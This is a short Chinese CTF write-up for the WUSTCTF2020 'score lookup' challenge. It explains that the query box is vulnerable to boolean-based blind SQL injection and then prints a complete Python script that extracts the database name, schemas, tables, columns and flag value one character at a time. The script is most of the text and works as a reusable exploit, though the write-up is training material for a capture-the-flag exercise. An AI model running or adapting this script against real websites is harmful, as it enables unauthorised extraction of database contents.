[WUSTCTF2020]颜值成绩查询(布尔型盲注)

这道题一个查询框只能查1-4，扫没有发现其他功能，多半注入题

输入4之后的数字全是这个报错，几乎确定是盲注了，而且有回显只能是布尔型盲注

掏出我82年的脚本来，注入题还是得脚本快

import requests
import time

url = "http://9de3afe4-e41b-49fc-9e9d-041f3c21af69.node5.buuoj.cn:81/?stunum="
temp = {"stunum": ""}
column = ""
for i in range(1, 1000):
    time.sleep(0.06)
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        # 当前库名
        #temp["stunum"] = "1^(ascii(substr((select(database())),%d,1))>%d)^1" % (i, mid)
        # 库名
        #temp["stunum"] = "1^(ascii(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1" % (i, mid)
        # 表名
        #temp["stunum"] = "1^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))>%d)^1" %(i,mid)+"--"
        # 字段名
        #temp["stunum"] = "1^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),%d,1))>%d)^1" %(i,mid)
        # 内容
        temp["stunum"] = "1^(ascii(substr((select(group_concat(value))from(flag)),%d,1))>%d)^1" %(i,mid)
        r = requests.get(url, params=temp)
        time.sleep(0.04)
        print(low, high, mid, ":")
        if "Hi admin, your score is: 100" in r.text:
            low = mid + 1
        else:
            high = mid
        mid = (low + high) // 2
    if (mid == 32 or mid == 127):
        break
    column += chr(mid)
    print(column)

print("All:", column)

flag在flag表的value里面

一把嗦